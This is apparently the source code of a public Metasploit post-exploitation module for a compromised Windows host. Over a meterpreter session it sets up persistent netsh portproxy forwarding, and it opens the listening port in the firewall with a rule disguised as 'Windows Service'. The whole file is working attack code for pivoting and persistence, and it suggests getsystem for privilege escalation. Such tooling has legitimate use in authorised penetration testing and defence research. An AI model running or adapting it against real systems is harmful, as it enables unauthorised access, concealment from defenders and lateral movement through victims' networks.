Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/portproxy.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Manage Set Port Forwarding With PortProxy',13'Description' => %q{14This module uses the PortProxy interface from netsh to set up15port forwarding persistently (even after reboot). PortProxy16supports TCP IPv4 and IPv6 connections.17},18'License' => MSF_LICENSE,19'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],20'Platform' => 'win',21'SessionTypes' => [ 'meterpreter' ]22)23)2425register_options(26[27OptAddress.new('LOCAL_ADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']),28OptAddress.new('CONNECT_ADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']),29OptPort.new('CONNECT_PORT', [ true, 'Port number to which to connect.']),30OptPort.new('LOCAL_PORT', [ true, 'Port number to which to listen.']),31OptBool.new('IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]),32OptEnum.new('TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4', 'v6tov6', 'v6tov4', 'v4tov6']])33]34)35end3637def run38if !is_admin?39print_error("You don't have enough privileges. Try getsystem.")40return41end4243# Due to a bug in Windows XP you need to install IPv644# http://support.microsoft.com/kb/555744/en-us45version = get_version_info46if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP2) && !check_ipv647return48end4950return unless enable_portproxy5152fw_enable_ports53end5455def enable_portproxy56rtable = Rex::Text::Table.new(57'Header' => 'Port Forwarding Table',58'Indent' => 3,59'Columns' => ['LOCAL IP', 'LOCAL PORT', 'REMOTE IP', 'REMOTE PORT']60)6162print_status('Setting PortProxy ...')63netsh_args = 'interface portproxy '64netsh_args << "add #{datastore['TYPE']} "65netsh_args << "listenport=#{datastore['LOCAL_PORT']} "66netsh_args << "listenaddress=#{datastore['LOCAL_ADDRESS']} "67netsh_args << "connectport=#{datastore['CONNECT_PORT']} "68netsh_args << "connectaddress=#{datastore['CONNECT_ADDRESS']}"69output = cmd_exec('netsh', netsh_args)70if output.size > 271print_error('Setup error. Verify parameters and syntax.')72return false73else74print_good('PortProxy added.')75end7677output = cmd_exec('netsh', 'interface portproxy show all')78output.each_line do |l|79rtable << l.split(' ') if l.strip =~ /^[0-9]|\*/80end81print_status(rtable.to_s)82return true83end8485def ipv6_installed86output = cmd_exec('netsh', 'interface ipv6 show interface')87if output.lines.count > 288return true89else90return false91end92end9394def check_ipv695if ipv6_installed96print_status('IPv6 is already installed.')97return true98elsif !datastore['IPV6_XP']99print_error('IPv6 is not installed. You need IPv6 to use portproxy.')100print_status('IPv6 can be installed with "netsh interface ipv6 install"')101return false102else103print_status('Installing IPv6... can take a little long')104cmd_exec('netsh', 'interface ipv6 install', 120)105if !ipv6_installed106print_error('IPv6 was not successfully installed. Run it again.')107return false108end109print_good('IPv6 was successfully installed.')110return true111end112end113114def fw_enable_ports115print_status("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")116version = get_version_info117if version.build_number >= Msf::WindowsVersion::Vista_SP0118cmd_exec('netsh', "advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"")119else120cmd_exec('netsh', "firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"")121end122output = cmd_exec('netsh', 'firewall show state')123124if output =~ /^#{datastore['LOCAL_PORT']} /125print_good('Port opened in Windows Firewall.')126else127print_error('There was an error enabling the port.')128end129end130end131132133